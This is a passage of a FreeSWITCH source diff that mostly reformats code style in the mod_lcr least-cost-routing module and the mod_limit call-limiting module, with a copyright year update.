- "no \"intralata_rate\" field found in the \"lcr\" table, routing by intralata rates will be disabled until the field is added and mod_lcr is reloaded\n"
- );
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
+ "no \"intralata_rate\" field found in the \"lcr\" table, routing by intralata rates will be disabled until the field is added and mod_lcr is reloaded\n");
}
profile->profile_has_intrastate = db_check("SELECT intrastate_rate FROM lcr LIMIT 1");
if (profile->profile_has_intrastate != SWITCH_TRUE) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
- "no \"intrastate_rate\" field found in the \"lcr\" table, routing by intrastate rates will be disabled until the field is added and mod_lcr is reloaded\n"
- );
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
+ "no \"intrastate_rate\" field found in the \"lcr\" table, routing by intrastate rates will be disabled until the field is added and mod_lcr is reloaded\n");
}
-
+
profile->profile_has_npanxx = db_check("SELECT npa, nxx, state FROM npa_nxx_company_ocn LIMIT 1");
if (profile->profile_has_npanxx != SWITCH_TRUE) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
- "no \"npa_nxx_company_ocn\" table found in the \"lcr\" database, automatic intrastate detection will be disabled until the table is added and mod_lcr is reloaded\n"
- );
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
+ "no \"npa_nxx_company_ocn\" table found in the \"lcr\" database, automatic intrastate detection will be disabled until the table is added and mod_lcr is reloaded\n");
}
if (switch_string_var_check_const(custom_sql) || switch_string_has_escaped_data(custom_sql)) {
@@ -1057,20 +1034,20 @@
if (strstr(custom_sql, "%")) {
profile->custom_sql_has_percent = SWITCH_TRUE;
}
- profile->custom_sql = switch_core_strdup(globals.pool, (char *)custom_sql);
-
+ profile->custom_sql = switch_core_strdup(globals.pool, (char *) custom_sql);
+
if (!zstr(reorder_by_rate)) {
profile->reorder_by_rate = switch_true(reorder_by_rate);
}
-
+
if (!zstr(info_in_headers)) {
profile->info_in_headers = switch_true(info_in_headers);
}
-
+
if (!zstr(quote_in_list)) {
profile->quote_in_list = switch_true(quote_in_list);
}
-
+
switch_core_hash_insert(globals.profile_hash, profile->name, profile);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Loaded lcr profile %s.\n", profile->name);
/* test the profile */
@@ -1083,7 +1060,7 @@
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Removing INVALID Profile %s.\n", profile->name);
switch_core_hash_delete(globals.profile_hash, profile->name);
}
-
+
}
switch_safe_free(order_by.data);
switch_safe_free(sql_stream.data);
@@ -1091,7 +1068,7 @@
} else {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "No lcr profiles defined.\n");
}
-
+
/* define default profile */
if (!globals.default_profile) {
profile = switch_core_alloc(globals.pool, sizeof(*profile));
@@ -1102,7 +1079,7 @@
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Setting system defined default profile.");
}
-done:
+ done:
switch_cache_db_release_db_handle(&dbh);
switch_xml_free(xml);
return status;
@@ -1138,17 +1115,17 @@
intralata = switch_channel_get_variable(channel, "intralata");
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "intrastate channel var is [%s]\n", intrastate);
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "intralata channel var is [%s]\n", intralata);
- if (!zstr(intralata) && !strcasecmp((char *)intralata, "true")) {
+ if (!zstr(intralata) && !strcasecmp((char *) intralata, "true")) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Select routes based on intralata rates\n");
routes.intralata = SWITCH_FALSE;
- } else if (!zstr(intrastate) && !strcasecmp((char *)intrastate, "true")) {
+ } else if (!zstr(intrastate) && !strcasecmp((char *) intrastate, "true")) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Select routes based on intrastate rates\n");
routes.intrastate = SWITCH_TRUE;
} else {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Select routes based on interstate rates\n");
routes.intrastate = SWITCH_FALSE;
}
-
+
if (!caller_profile) {
caller_profile = switch_channel_get_caller_profile(channel);
}
@@ -1173,7 +1150,7 @@
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "LCR lookup failed for %s\n", caller_profile->destination_number);
}
-end:
+ end:
if (!session) {
switch_core_destroy_memory_pool(&pool);
}
@@ -1184,9 +1161,9 @@
{
size_t i;
- /*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "repeating %d of '%s'\n", (int)how_many, what);*/
-
- for (i=0; i<how_many; i++) {
+ /*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "repeating %d of '%s'\n", (int)how_many, what); */
+
+ for (i = 0; i < how_many; i++) {
str_stream->write_function(str_stream, "%s", what);
}
}
@@ -1227,9 +1204,8 @@
routes.pool = pool;
intra = switch_channel_get_variable(channel, "intrastate");
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "intrastate channel var is [%s]\n",
- zstr(intra) ? "undef" : intra);
- if (zstr(intra) || strcasecmp((char *)intra, "true")) {
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "intrastate channel var is [%s]\n", zstr(intra) ? "undef" : intra);
+ if (zstr(intra) || strcasecmp((char *) intra, "true")) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Select routes based on interstate rates\n");
routes.intrastate = SWITCH_FALSE;
} else {
@@ -1248,7 +1224,7 @@
if (argc > 1) {
lcr_profile = argv[1];
}
-
+
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "LCR Lookup on %s using profile %s\n", dest, lcr_profile);
routes.lookup_number = dest;
if (caller_profile) {
@@ -1258,7 +1234,7 @@
}
}
-
+
if (!(routes.profile = locate_profile(lcr_profile))) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Unknown profile: %s\n", lcr_profile);
goto end;
@@ -1289,16 +1265,17 @@
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "LCR lookup failed for %s\n", dest);
}
}
-
-end:
+
+ end:
if (!session) {
switch_core_destroy_memory_pool(&pool);
}
}
-static void write_data(switch_stream_handle_t *stream, switch_bool_t as_xml, const char *key, const char *data, int indent, int maxlen) {
+static void write_data(switch_stream_handle_t *stream, switch_bool_t as_xml, const char *key, const char *data, int indent, int maxlen)
+{
if (as_xml) {
- str_repeat(indent*2, " ", stream);
+ str_repeat(indent * 2, " ", stream);
stream->write_function(stream, "<%s>%s</%s>\n", key, data, key);
} else {
stream->write_function(stream, " | %s", data);
@@ -1320,15 +1297,13 @@
switch_event_t *event;
switch_status_t lookup_status = SWITCH_STATUS_SUCCESS;
switch_bool_t as_xml = SWITCH_FALSE;
- int rowcount=0;
+ int rowcount = 0;
if (zstr(cmd)) {
goto usage;
}
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG
- , "data passed to lcr is [%s]\n", cmd
- );
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "data passed to lcr is [%s]\n", cmd);
if (session) {
pool = switch_core_session_get_pool(session);
@@ -1339,7 +1314,7 @@
cb_struct.event = event;
}
cb_struct.pool = pool;
-
+
mydata = switch_core_strdup(pool, cmd);
if ((argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0]))))) {
@@ -1350,29 +1325,27 @@
}
if (argc > 2) {
int i;
- for (i=2; i<argc; i++) {
+ for (i = 2; i < argc; i++) {
if (!strcasecmp(argv[i], "intrastate")) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Select routes based on intrastate rates\n");
cb_struct.intrastate = SWITCH_TRUE;
} else if (!strcasecmp(argv[i], "as")) {
i++;
if (argv[i] && !strcasecmp(argv[i], "xml")) {
- as_xml = SWITCH_TRUE;
- } else {
- goto usage;
- }
+ as_xml = SWITCH_TRUE;
+ } else {
+ goto usage;
+ }
} else {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Set Caller ID to [%s]\n", argv[i]);
/* the only other option we have right now is caller id */
cb_struct.cid = switch_core_strdup(pool, argv[i]);
}
}
- }
+ }
if (zstr(cb_struct.cid)) {
cb_struct.cid = "18005551212";
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING
- , "Using default CID [%s]\n", cb_struct.cid
- );
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Using default CID [%s]\n", cb_struct.cid);
}
@@ -1432,7 +1405,7 @@
if (as_xml) {
stream->write_function(stream, " <row id=\"%d\">\n", rowcount);
}
-
+
write_data(stream, as_xml, "prefix", current->digit_str, 2, maximum_lengths.digit_str);
write_data(stream, as_xml, "carrier_name", current->carrier_name, 2, maximum_lengths.carrier_name);
write_data(stream, as_xml, "rate", current->rate_str, 2, maximum_lengths.rate);
@@ -1447,7 +1420,7 @@
} else {
write_data(stream, as_xml, "cid", "", 2, maximum_lengths.cid);
}
-
+
write_data(stream, as_xml, "dialstring", current->dialstring, 2, maximum_lengths.dialstring);
if (as_xml) {
@@ -1473,14 +1446,14 @@
}
}
-end:
+ end:
if (!session) {
if (pool) {
switch_core_destroy_memory_pool(&pool);
}
}
return SWITCH_STATUS_SUCCESS;
-usage:
+ usage:
stream->write_function(stream, "USAGE: %s\n", LCR_SYNTAX);
goto end;
}
@@ -1509,7 +1482,7 @@
for (hi = switch_hash_first(NULL, globals.profile_hash); hi; hi = switch_hash_next(hi)) {
switch_hash_this(hi, NULL, NULL, &val);
profile = (profile_t *) val;
-
+
stream->write_function(stream, "Name:\t\t%s\n", profile->name);
if (zstr(profile->custom_sql)) {
stream->write_function(stream, " ID:\t\t%d\n", profile->id);
@@ -1522,12 +1495,9 @@
stream->write_function(stream, " has intrastate:\t%s\n", profile->profile_has_intrastate ? "true" : "false");
stream->write_function(stream, " has intralata:\t%s\n", profile->profile_has_intralata ? "true" : "false");
stream->write_function(stream, " has npanxx:\t%s\n", profile->profile_has_npanxx ? "true" : "false");
- stream->write_function(stream, " Reorder rate:\t%s\n",
- profile->reorder_by_rate ? "enabled" : "disabled");
- stream->write_function(stream, " Info in headers:\t%s\n",
- profile->info_in_headers ? "enabled" : "disabled");
- stream->write_function(stream, " Quote IN() List:\t%s\n",
- profile->quote_in_list ? "enabled" : "disabled");
+ stream->write_function(stream, " Reorder rate:\t%s\n", profile->reorder_by_rate ? "enabled" : "disabled");
+ stream->write_function(stream, " Info in headers:\t%s\n", profile->info_in_headers ? "enabled" : "disabled");
+ stream->write_function(stream, " Quote IN() List:\t%s\n", profile->quote_in_list ? "enabled" : "disabled");
stream->write_function(stream, "\n");
}
} else {
@@ -1536,20 +1506,20 @@
}
switch_safe_free(mydata);
return SWITCH_STATUS_SUCCESS;
-usage:
+ usage:
switch_safe_free(mydata);
stream->write_function(stream, "-ERR %s\n", LCR_ADMIN_SYNTAX);
return SWITCH_STATUS_SUCCESS;
-
+
}
-
+
SWITCH_MODULE_LOAD_FUNCTION(mod_lcr_load)
{
switch_api_interface_t *dialplan_lcr_api_interface;
switch_api_interface_t *dialplan_lcr_api_admin_interface;
switch_application_interface_t *app_interface;
switch_dialplan_interface_t *dp_interface;
-
+
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
if (!switch_odbc_available()) {
@@ -1573,7 +1543,7 @@
SWITCH_ADD_APP(app_interface, "lcr", "Perform an LCR lookup", "Perform an LCR lookup",
lcr_app_function, "<number>", SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
SWITCH_ADD_DIALPLAN(dp_interface, "lcr", lcr_dialplan_hunt);
-
+
/* indicate that the module should continue to be loaded */
return SWITCH_STATUS_SUCCESS;
}
Modified: freeswitch/trunk/src/mod/applications/mod_limit/mod_limit.c (16578 => 16579)
--- freeswitch/trunk/src/mod/applications/mod_limit/mod_limit.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_limit/mod_limit.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -51,12 +51,12 @@
char *odbc_pass;
switch_mutex_t *mutex;
switch_mutex_t *limit_hash_mutex;
- switch_hash_t *limit_hash;
+ switch_hash_t *limit_hash;
switch_mutex_t *db_hash_mutex;
- switch_hash_t *db_hash;
+ switch_hash_t *db_hash;
} globals;
-typedef struct {
+typedef struct {
uint32_t total_usage;
uint32_t rate_usage;
time_t last_check;
@@ -68,43 +68,33 @@
static char limit_sql[] =
"CREATE TABLE limit_data (\n"
- " hostname VARCHAR(255),\n"
- " realm VARCHAR(255),\n"
- " id VARCHAR(255),\n"
- " uuid VARCHAR(255)\n"
- ");\n";
+ " hostname VARCHAR(255),\n" " realm VARCHAR(255),\n" " id VARCHAR(255),\n" " uuid VARCHAR(255)\n" ");\n";
static char db_sql[] =
"CREATE TABLE db_data (\n"
- " hostname VARCHAR(255),\n"
- " realm VARCHAR(255),\n"
- " data_key VARCHAR(255),\n"
- " data VARCHAR(255)\n"
- ");\n";
+ " hostname VARCHAR(255),\n" " realm VARCHAR(255),\n" " data_key VARCHAR(255),\n" " data VARCHAR(255)\n" ");\n";
static char group_sql[] =
- "CREATE TABLE group_data (\n"
- " hostname VARCHAR(255),\n"
- " groupname VARCHAR(255),\n"
- " url VARCHAR(255)\n"
- ");\n";
+ "CREATE TABLE group_data (\n" " hostname VARCHAR(255),\n" " groupname VARCHAR(255),\n" " url VARCHAR(255)\n" ");\n";
switch_cache_db_handle_t *limit_get_db_handle(void)
{
switch_cache_db_connection_options_t options = { {0} };
switch_cache_db_handle_t *dbh = NULL;
-
+
if (!zstr(globals.odbc_dsn)) {
options.odbc_options.dsn = globals.odbc_dsn;
options.odbc_options.user = globals.odbc_user;
options.odbc_options.pass = globals.odbc_pass;
- if (switch_cache_db_get_db_handle(&dbh, SCDB_TYPE_ODBC, &options) != SWITCH_STATUS_SUCCESS) dbh = NULL;
+ if (switch_cache_db_get_db_handle(&dbh, SCDB_TYPE_ODBC, &options) != SWITCH_STATUS_SUCCESS)
+ dbh = NULL;
return dbh;
} else {
options.core_db_options.db_path = globals.dbname;
- if (switch_cache_db_get_db_handle(&dbh, SCDB_TYPE_CORE_DB, &options) != SWITCH_STATUS_SUCCESS) dbh = NULL;
+ if (switch_cache_db_get_db_handle(&dbh, SCDB_TYPE_CORE_DB, &options) != SWITCH_STATUS_SUCCESS)
+ dbh = NULL;
return dbh;
}
}
@@ -127,7 +117,7 @@
status = switch_cache_db_execute_sql(dbh, sql, NULL);
end:
-
+
switch_cache_db_release_db_handle(&dbh);
if (mutex) {
@@ -142,16 +132,16 @@
switch_bool_t ret = SWITCH_FALSE;
char *errmsg = NULL;
switch_cache_db_handle_t *dbh = NULL;
-
+
if (mutex) {
switch_mutex_lock(mutex);
}
if (!(dbh = limit_get_db_handle())) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error Opening DB\n");
- goto end;
- }
-
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error Opening DB\n");
+ goto end;
+ }
+
switch_cache_db_execute_sql_callback(dbh, sql, callback, pdata, &errmsg);
if (errmsg) {
@@ -174,8 +164,8 @@
static switch_xml_config_string_options_t limit_config_dsn = { NULL, 0, "[^:]+:[^:]+:.+" };
static switch_xml_config_item_t config_settings[] = {
- SWITCH_CONFIG_ITEM("odbc-dsn", SWITCH_CONFIG_STRING, 0, &globals.odbc_dsn, NULL, &limit_config_dsn,
- "dsn:username:password", "If set, the ODBC DSN used by the limit and db applications"),
+ SWITCH_CONFIG_ITEM("odbc-dsn", SWITCH_CONFIG_STRING, 0, &globals.odbc_dsn, NULL, &limit_config_dsn,
+ "dsn:username:password", "If set, the ODBC DSN used by the limit and db applications"),
SWITCH_CONFIG_ITEM_END()
};
@@ -184,13 +174,13 @@
switch_cache_db_handle_t *dbh = NULL;
switch_status_t status = SWITCH_STATUS_SUCCESS;
char *sql = NULL;
-
+
limit_config_dsn.pool = globals.pool;
if (switch_xml_config_parse_module_settings("limit.conf", SWITCH_FALSE, config_settings) != SWITCH_STATUS_SUCCESS) {
return SWITCH_STATUS_TERM;
}
-
+
if (globals.odbc_dsn) {
if ((globals.odbc_user = strchr(globals.odbc_dsn, ':'))) {
*globals.odbc_user++ = '\0';
@@ -203,8 +193,8 @@
globals.odbc_dsn = globals.odbc_user = globals.odbc_pass;
}
}
-
+
if (zstr(globals.odbc_dsn)) {
globals.dbname = "call_limit";
dbh = limit_get_db_handle();
@@ -225,16 +215,16 @@
NULL
};
-
+
switch_cache_db_test_reactive(dbh, "select * from limit_data", NULL, limit_sql);
switch_cache_db_test_reactive(dbh, "select * from db_data", NULL, db_sql);
switch_cache_db_test_reactive(dbh, "select * from group_data", NULL, group_sql);
-
+
for (x = 0; indexes[x]; x++) {
switch_cache_db_execute_sql(dbh, indexes[x], NULL);
}
-
+
switch_cache_db_release_db_handle(&dbh);
sql = switch_mprintf("delete from limit_data where hostname='%q';", globals.hostname);
@@ -248,7 +238,7 @@
static void limit_fire_event(const char *realm, const char *key, uint32_t usage, uint32_t rate, uint32_t max, uint32_t ratemax)
{
switch_event_t *event;
-
+
if (switch_event_create_subclass(&event, SWITCH_EVENT_CUSTOM, LIMIT_EVENT_USAGE) == SWITCH_STATUS_SUCCESS) {
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "realm", realm);
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "key", key);
@@ -268,8 +258,7 @@
const char *vval = switch_channel_get_variable(channel, LIMIT_IGNORE_TRANSFER_VARIABLE);
if (state >= CS_HANGUP || (state == CS_ROUTING && !switch_true(vval))) {
- sql = switch_mprintf("delete from limit_data where uuid='%q';",
- switch_core_session_get_uuid(session));
+ sql = switch_mprintf("delete from limit_data where uuid='%q';", switch_core_session_get_uuid(session));
limit_execute_sql(sql, globals.mutex);
switch_safe_free(sql);
switch_core_event_hook_remove_state_change(session, db_state_handler);
@@ -279,47 +268,46 @@
return SWITCH_STATUS_SUCCESS;
}
-static switch_status_t hash_state_handler(switch_core_session_t *session)
+static switch_status_t hash_state_handler(switch_core_session_t *session)
{
switch_channel_t *channel = switch_core_session_get_channel(session);
switch_channel_state_t state = switch_channel_get_state(channel);
limit_hash_private_t *pvt = switch_channel_get_private(channel, "limit_hash");
const char *vval = switch_channel_get_variable(channel, LIMIT_IGNORE_TRANSFER_VARIABLE);
-
+
/* The call is either hung up, or is going back into the dialplan, decrement appropriate couters */
- if (state >= CS_HANGUP || (state == CS_ROUTING && !switch_true(vval))) {
+ if (state >= CS_HANGUP || (state == CS_ROUTING && !switch_true(vval))) {
switch_hash_index_t *hi;
switch_mutex_lock(globals.limit_hash_mutex);
/* Loop through the channel's hashtable which contains mapping to all the limit_hash_item_t referenced by that channel */
- while((hi = switch_hash_first(NULL, pvt->hash)))
- {
+ while ((hi = switch_hash_first(NULL, pvt->hash))) {
void *val = NULL;
const void *key;
switch_ssize_t keylen;
limit_hash_item_t *item = NULL;
-
+
switch_hash_this(hi, &key, &keylen, &val);
-
- item = (limit_hash_item_t*)val;
- item->total_usage--;
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Usage for %s is now %d\n", (const char*)key, item->total_usage);
-
- if (item->total_usage == 0) {
+
+ item = (limit_hash_item_t *) val;
+ item->total_usage--;
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Usage for %s is now %d\n", (const char *) key, item->total_usage);
+
+ if (item->total_usage == 0) {
/* Noone is using this item anymore */
- switch_core_hash_delete(globals.limit_hash, (const char*)key);
+ switch_core_hash_delete(globals.limit_hash, (const char *) key);
free(item);
}
-
- switch_core_hash_delete(pvt->hash, (const char*)key);
+
+ switch_core_hash_delete(pvt->hash, (const char *) key);
}
-
+
/* Remove handler */
switch_core_event_hook_remove_state_change(session, hash_state_handler);
-
+
switch_mutex_unlock(globals.limit_hash_mutex);
}
-
+
return SWITCH_STATUS_SUCCESS;
}
@@ -474,21 +462,21 @@
char *mydata = NULL;
char *hash_key = NULL;
char *value = NULL;
-
+
switch_mutex_lock(globals.db_hash_mutex);
-
+
if (!zstr(data)) {
mydata = strdup(data);
switch_assert(mydata);
argc = switch_separate_string(mydata, '/', argv, (sizeof(argv) / sizeof(argv[0])));
}
-
+
if (argc < 3 || !argv[0]) {
goto usage;
}
-
+
hash_key = switch_mprintf("%s_%s", argv[1], argv[2]);
-
+
if (!strcasecmp(argv[0], "insert")) {
if (argc < 4) {
goto usage;
@@ -508,13 +496,13 @@
} else {
goto usage;
}
-
+
goto done;
-usage:
+ usage:
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "USAGE: hash %s\n", HASH_USAGE);
-done:
+ done:
switch_mutex_unlock(globals.db_hash_mutex);
switch_safe_free(mydata);
switch_safe_free(hash_key);
@@ -536,13 +524,13 @@
switch_assert(mydata);
argc = switch_separate_string(mydata, '/', argv, (sizeof(argv) / sizeof(argv[0])));
}
-
+
if (argc < 3 || !argv[0]) {
goto usage;
}
-
+
hash_key = switch_mprintf("%s_%s", argv[1], argv[2]);
-
+
if (!strcasecmp(argv[0], "insert")) {
if (argc < 4) {
goto usage;
@@ -570,17 +558,17 @@
} else {
goto usage;
}
-
+
goto done;
-
-usage:
+
+ usage:
stream->write_function(stream, "-ERR Usage: hash %s\n", HASH_API_USAGE);
-
-done:
+
+ done:
switch_mutex_unlock(globals.db_hash_mutex);
switch_safe_free(mydata);
switch_safe_free(hash_key);
-
+
return SWITCH_STATUS_SUCCESS;
}
@@ -649,7 +637,7 @@
limit_execute_sql_callback(NULL, sql, group_callback, &cbt);
switch_safe_free(sql);
-
+
*(buf + (strlen(buf) - 1)) = '\0';
stream->write_function(stream, "%s", buf);
@@ -729,9 +717,9 @@
got = atoi(buf);
if (max < 0) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Usage for %s_%s is now %d\n", realm, id, got+1);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Usage for %s_%s is now %d\n", realm, id, got + 1);
} else {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Usage for %s_%s is now %d/%d\n", realm, id, got+1, max);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Usage for %s_%s is now %d/%d\n", realm, id, got + 1, max);
}
if (max >= 0 && got + 1 > max) {
@@ -746,7 +734,7 @@
switch_core_session_get_uuid(session));
limit_execute_sql(sql, NULL);
switch_safe_free(sql);
-
+
{
const char *susage = switch_core_session_sprintf(session, "%d", ++got);
@@ -787,8 +775,8 @@
realm = argv[0];
id = argv[1];
-
- /* Accept '-' as unlimited (act as counter)*/
+
+ /* Accept '-' as unlimited (act as counter) */
if (argv[2][0] == '-') {
max = -1;
} else {
@@ -796,7 +784,7 @@
if (max < 0) {
max = 0;
- }
+ }
}
if (argc >= 4) {
@@ -808,12 +796,12 @@
if (!do_limit(session, realm, id, max)) {
/* Limit exceeded */
if (*xfer_exten == '!') {
- switch_channel_hangup(channel, switch_channel_str2cause(xfer_exten+1));
+ switch_channel_hangup(channel, switch_channel_str2cause(xfer_exten + 1));
} else {
switch_ivr_session_transfer(session, xfer_exten, argv[4], argv[5]);
}
}
-
+
}
/* !\brief Releases usage of a limit_-controlled ressource */
@@ -821,8 +809,7 @@
{
char *sql = NULL;
- sql = switch_mprintf("delete from limit_data where uuid='%q' and realm='%q' and id like '%q'",
- switch_core_session_get_uuid(session), realm, id);
+ sql = switch_mprintf("delete from limit_data where uuid='%q' and realm='%q' and id like '%q'", switch_core_session_get_uuid(session), realm, id);
limit_execute_sql(sql, globals.mutex);
switch_safe_free(sql);
}
@@ -845,16 +832,16 @@
mydata = switch_core_session_strdup(session, data);
argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0])));
}
-
+
if (argc < 2) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "USAGE: limit_execute %s\n", LIMITEXECUTE_USAGE);
return;
}
-
+
realm = argv[0];
id = argv[1];
-
- /* Accept '-' as unlimited (act as counter)*/
+
+ /* Accept '-' as unlimited (act as counter) */
if (argv[2][0] == '-') {
max = -1;
} else {
@@ -862,7 +849,7 @@
if (max < 0) {
max = 0;
- }
+ }
}
app = argv[3];
@@ -915,7 +902,7 @@
stream->write_function(stream, "%s", buf);
-end:
+ end:
switch_safe_free(mydata);
return SWITCH_STATUS_SUCCESS;
}
@@ -937,22 +924,21 @@
time_t now = switch_epoch_time_now(NULL);
limit_hash_private_t *pvt = NULL;
uint8_t increment = 1;
-
+
hashkey = switch_core_session_sprintf(session, "%s_%s", realm, id);
switch_mutex_lock(globals.limit_hash_mutex);
/* Check if that realm+id has ever been checked */
- if (!(item = (limit_hash_item_t*)switch_core_hash_find(globals.limit_hash, hashkey))) {
+ if (!(item = (limit_hash_item_t *) switch_core_hash_find(globals.limit_hash, hashkey))) {
/* No, create an empty structure and add it, then continue like as if it existed */
- item = (limit_hash_item_t*)malloc(sizeof(limit_hash_item_t));
+ item = (limit_hash_item_t *) malloc(sizeof(limit_hash_item_t));
switch_assert(item);
memset(item, 0, sizeof(limit_hash_item_t));
switch_core_hash_insert(globals.limit_hash, hashkey, item);
}
/* Did we already run on this channel before? */
- if ((pvt = switch_channel_get_private(channel, "limit_hash")))
- {
+ if ((pvt = switch_channel_get_private(channel, "limit_hash"))) {
/* Yes, but check if we did that realm+id
If we didnt, allow incrementing the counter.
If we did, dont touch it but do the validation anyways
@@ -960,7 +946,7 @@
increment = !switch_core_hash_find(pvt->hash, hashkey);
} else {
/* This is the first limit check on this channel, create a hashtable, set our prviate data and add a state handler */
- pvt = (limit_hash_private_t*)switch_core_session_alloc(session, sizeof(limit_hash_private_t));
+ pvt = (limit_hash_private_t *) switch_core_session_alloc(session, sizeof(limit_hash_private_t));
memset(pvt, 0, sizeof(limit_hash_private_t));
switch_core_hash_init(&pvt->hash, switch_core_session_get_pool(session));
switch_channel_set_private(channel, "limit_hash", pvt);
@@ -974,13 +960,14 @@
/* Always increment rate when its checked as it doesnt depend on the channel */
item->rate_usage++;
- if ((max >= 0) && (item->rate_usage > (uint32_t)max)) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Usage for %s exceeds maximum rate of %d/%ds, now at %d\n", hashkey, max, interval, item->rate_usage);
+ if ((max >= 0) && (item->rate_usage > (uint32_t) max)) {
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Usage for %s exceeds maximum rate of %d/%ds, now at %d\n",
+ hashkey, max, interval, item->rate_usage);
status = SWITCH_FALSE;
goto end;
}
}
- } else if ((max >= 0) && (item->total_usage + increment > (uint32_t)max)) {
+ } else if ((max >= 0) && (item->total_usage + increment > (uint32_t) max)) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Usage for %s is already at max value (%d)\n", hashkey, item->total_usage);
status = SWITCH_FALSE;
goto end;
@@ -994,12 +981,13 @@
if (max == -1) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Usage for %s is now %d\n", hashkey, item->total_usage);
} else if (interval == 0) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Usage for %s is now %d/%d\n", hashkey, item->total_usage, max);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Usage for %s is now %d/%d\n", hashkey, item->total_usage, max);
} else {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Usage for %s is now %d/%d for the last %d seconds\n", hashkey, item->rate_usage, max, interval);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_INFO, "Usage for %s is now %d/%d for the last %d seconds\n", hashkey,
+ item->rate_usage, max, interval);
}
- limit_fire_event(realm, id, item->total_usage, item->rate_usage, max, max >=0 ? (uint32_t)max : 0);
+ limit_fire_event(realm, id, item->total_usage, item->rate_usage, max, max >= 0 ? (uint32_t) max : 0);
}
/* Save current usage & rate into channel variables so it can be used later in the dialplan, or added to CDR records */
@@ -1016,7 +1004,7 @@
switch_core_event_hook_add_state_change(session, hash_state_handler);
-end:
+ end:
switch_mutex_unlock(globals.limit_hash_mutex);
return status;
}
@@ -1028,28 +1016,28 @@
limit_hash_private_t *pvt = switch_channel_get_private(channel, "limit_hash");
limit_hash_item_t *item = NULL;
char *hashkey = NULL;
-
+
if (!pvt || !pvt->hash) {
return;
}
-
+
